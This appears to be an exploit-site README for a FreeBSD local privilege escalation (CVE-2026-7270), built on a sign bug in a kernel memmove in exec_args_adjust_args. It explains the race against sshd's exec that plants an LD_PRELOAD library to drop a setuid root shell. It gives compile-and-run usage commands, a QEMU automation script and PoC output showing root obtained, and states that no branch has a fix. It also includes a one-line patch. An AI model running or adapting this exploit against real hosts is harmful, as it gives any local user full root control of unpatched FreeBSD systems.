## https://sploitus.com/exploit?id=1774132B-B2ED-5E86-9B6C-AD11D88B262F
# CVE-2026-7270
**FreeBSD local privilege escalation via `exec_args_adjust_args` OOB memmove**
An operator-precedence bug in `exec_args_adjust_args()` (`sys/kern/kern_exec.c`, present since 2013) lets any local user escalate to root on a default FreeBSD install with sshd running. No suid binaries, no kernel modules, no configuration changes required.
## The Bug
```c
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
```
`+ consume` should be `- consume`. The wrong sign makes the memmove copy `2 * consume` bytes instead of the correct `endp - begin_argv - consume`. With a 265,185-byte `argv[0]` in a shebang exec, the memmove overflows the 528,384-byte exec_map entry by 2,024 bytes into the adjacent entry โ no crash, no signal, no page fault.
## Exploit
The exploit races the OOB memmove against sshd's `fork`/`execv` on incoming TCP connections. sshd-session is executed root-to-root with no suid/sgid transition, so `issetugid()` returns 0 and the runtime linker honors `LD_PRELOAD`. The exploit plants `LD_PRELOAD=/tmp/evil.so` in sshd-session's exec_map entry; the evil.so constructor runs as uid=0 and drops a suid root shell at `/tmp/rootsh`.
Root obtained at round 5,030, ~6 seconds after launch on a 4-CPU VM.
## Impact
| | |
|---|---|
| Affected versions | FreeBSD 11.0 through 14.4 (all releases; no fix in any branch as of disclosure) |
| Prerequisites | Local unprivileged shell; sshd running (default on FreeBSD) |
| Reliability | ~0.6% hit rate per round; root in seconds on a 4-CPU system |
| Tested | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC kernel, 4 CPUs, 2GB RAM |
## Fix
Change one character in `sys/kern/kern_exec.c`:
```diff
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
```
## Files
| File | Description |
|---|---|
| `exec1_lpe21.c` | Self-contained exploit โ compile and run as unprivileged user |
| `run_poc.sh` | QEMU automation: boots FreeBSD 14.4, compiles, and runs the exploit |
| `WRITEUP.md` | Full technical writeup: bug analysis, exploit architecture, development history |
| `blog.md` | Narrative account of discovery and exploit development |
| `images/` | SVG diagrams: exec_map layout, self-copy mechanism, full attack overview |
## Usage
On a FreeBSD 14.4 target, as any unprivileged user:
```sh
cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... a few seconds ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
```
Under QEMU (macOS host, requires `qemu` and `sshpass`):
```sh
./run_poc.sh # boots VM, compiles, runs exploit
./run_poc.sh run # re-run against already-running VM
./run_poc.sh clean # remove VM artifacts
```
## PoC
```
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
```